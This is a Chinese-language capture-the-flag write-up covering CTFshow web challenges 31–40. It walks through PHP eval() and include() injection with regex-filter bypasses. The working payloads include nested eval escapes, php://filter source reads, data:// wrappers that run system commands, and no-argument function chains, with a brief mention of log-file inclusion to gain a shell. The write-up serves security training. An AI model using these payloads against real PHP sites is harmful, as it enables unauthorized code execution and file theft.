《CTFshow-Web入门》04. Web 31~40

Web 入门

  • 索引
  • web31
    • 题解
    • 原理
  • web32
    • 题解
    • 原理
  • web33
    • 题解
  • web34
    • 题解
  • web35
    • 题解
  • web36
    • 题解
  • web37
    • 题解
    • 原理
  • web38
    • 题解
    • 原理
  • web39
    • 题解
  • web40
    • 题解
    • 原理


ctf - web入门

索引

  • web31:eval() 利用与正则绕过。
  • web32:eval() 利用与正则绕过。
  • web33:eval() 利用与正则绕过,PHP 伪协议。
  • web34:eval() 利用与正则绕过,PHP 伪协议。
  • web35:eval() 利用与正则绕过,PHP 伪协议。
  • web36:eval() 利用与正则绕过,PHP 伪协议。
  • web37:include() 利用与正则绕过,PHP 伪协议。
  • web38:include() 利用与正则绕过,PHP 伪协议。
  • web39:include() 利用与正则绕过,PHP 伪协议。
  • web40:eval() 利用与正则绕过,PHP 伪协议。

web31

题解

过滤了空格、点、单引号和 cat。

《CTFshow-Web入门》04. Web 31~40_第1张图片

方法一

经典逃逸。

url + ?c=eval($_GET[1]);&1=system('tac flag.php');

《CTFshow-Web入门》04. Web 31~40_第2张图片

方法二

空格的绕过可以使用 %09 (tab)。
使用通配符来匹配文件。

url + ?c=echo%09`tac%09fl*`;

《CTFshow-Web入门》04. Web 31~40_第3张图片

方法三
利用无参数函数。

url + ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

《CTFshow-Web入门》04. Web 31~40_第4张图片

等多种方法:

cat 被过滤的解决方案:
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容

原理

这里依旧可以用到 web29 的方法:

  • 嵌套 eval 逃逸参数

当然,能多学一点自然是要多学一点。要像韩跑跑一样多留后手(不是

  • url 编码
  • Linux:通配符、其他命令

web32

题解

源码过滤了分号,echo,反引号,单引号,括号,分号。但没有过滤双引号。

《CTFshow-Web入门》04. Web 31~40_第5张图片

方法一
嵌套 include 文件包含,利用伪协议文件包含。
过滤了分号,那么可以直接 ?> 闭合 php( ?> 闭合的是 eval 里面的 php 语句,eval 后续还有语句的话,依旧是会执行的。除此以外,php 代码最后一句可以不用加分号)

url + ?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

得到 base64 编码过后的源码。

《CTFshow-Web入门》04. Web 31~40_第6张图片

原理大概就是,这里传了两个参数,
第一个参数c的内容是 include$_GET["a"]?>,
第二个参数a,不受后边匹配条件的影响。
即后面的php协议不会受到正则的约束
include传参实现文件包含,利用php伪协议就可以读取flag.php文件。
这里,也可以用$_POST,那么后续传参就通过post传参。

方法二

与方法一大同小异。

url + ?c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-
encode/resource=flag.php

原理

  • PHP:伪协议、文件包含、php代码的闭合。

web33

依旧是 PHP:伪协议、文件包含。

题解

在上一题的基础上过滤了双引号。

《CTFshow-Web入门》04. Web 31~40_第7张图片

方法一
既然过滤了双引号,那就直接加变量名。

url + ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

《CTFshow-Web入门》04. Web 31~40_第8张图片

web34

还是 PHP:伪协议、文件包含。

题解

相比上题过滤了个冒号。不过并没有影响。继续用上一题的 payload。

《CTFshow-Web入门》04. Web 31~40_第9张图片

url + ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

得到 flag。

《CTFshow-Web入门》04. Web 31~40_第10张图片

web35

PHP:伪协议、文件包含。

题解

相比上题过滤了 < 和 = 。不过还是没有影响。

《CTFshow-Web入门》04. Web 31~40_第11张图片

继续沿用上一题 payload

url + ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

不要被迷惑了,第一个等号是用来传参的。

得手。

《CTFshow-Web入门》04. Web 31~40_第12张图片

web36

  • PHP:伪协议、文件包含

题解

过滤了 0-9 的数字和反斜杠。
(数字过滤是因为可以用数字传参,$_GET[1],所以这里把数字过滤了)

《CTFshow-Web入门》04. Web 31~40_第13张图片

但还是无法阻止我们闭合 php,把数组的键改为英文就可以了,比如 a。

url + ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

《CTFshow-Web入门》04. Web 31~40_第14张图片

web37

题解

本题直接提供了一个 include 函数。

《CTFshow-Web入门》04. Web 31~40_第15张图片

方法一

data 伪协议配合通配符绕过。

url + ?c=data://text/plain,<?php system('cat fl*')?>

《CTFshow-Web入门》04. Web 31~40_第16张图片

方法二

利用 base64 编解码。

先对 <?php system("cat flag.php");?> 进行 base64 编码

《CTFshow-Web入门》04. Web 31~40_第17张图片

再利用伪协议传输。

url + ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

《CTFshow-Web入门》04. Web 31~40_第18张图片

原理

  • PHP:伪协议(data://)、文件包含
$c = 'data://text/plain,';
include($c);

//php中,以上代码相当于包含了 

web38

题解

《CTFshow-Web入门》04. Web 31~40_第19张图片

解法一

可以继续沿用上一题的 payload。

url + ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

《CTFshow-Web入门》04. Web 31~40_第20张图片

解法二

php 代码这里可以使用 php 短标签进行绕过,flag.php 可继续用通配符 ? 绕过

url + ?c=data://text/plain,<?=system('tac fla?.???')?>

《CTFshow-Web入门》04. Web 31~40_第21张图片

解法三

nginx 的日志文件 /var/log/nginx/access.log

题目提示可以通过包含日志文件拿 shell。

这个方法试了几次,虽然蚁剑连上了,但查看不了文件。
先这样吧,之后再来试一试。

原理

  • PHP:伪协议(data://)、文件包含、短标签

web39

  • PHP:伪协议(data://)、文件包含

题解

会在后面拼接一个 .php,但是过滤了 flag。

《CTFshow-Web入门》04. Web 31~40_第22张图片

解法一

闭合 include 函数,让拼接不执行。

url + ?c=data://text/plain,<?php system('cat fl*')?>)?><?php

《CTFshow-Web入门》04. Web 31~40_第23张图片

解法二

其实不用做其他处理,直接用通配符代替传参即可。

url + ?c=data://text/plain,<?php system('cat fl*')?>

因为 .php 前面的 php 语句已经闭合了,所以后面的 .php 会被当成 html 页面直接显示在页面上。

在这里插入图片描述

data://text/plain,这样就相当于执行了 php 语句。.php 因为前面的 php 语句已经闭合了,所以后面的 .php 会被当成html页面直接显示在页面上,起不到什么作用

web40

题解

过滤了很多东西,但是下面是 eval,可以直接函数执行。

《CTFshow-Web入门》04. Web 31~40_第24张图片

而且,仔细看,其中的括号过滤是中文全角的括号,而非半角的英文括号。

if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
    eval($c);
}

所以还是可以使用括号。

解法一

使用无参数函数。

url + ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

《CTFshow-Web入门》04. Web 31~40_第25张图片

解法二

题中还给了另一个解法,使用 session:输入 ?c=session_start();system(session_id());
这个解法也先放一放,之后再来试试。

原理

  • 无参数函数

酒一杯,泪双垂。君到长安百事违。几时归。

——《柳枝》(宋)朱敦儒

你可能感兴趣的:(php,linux,网络)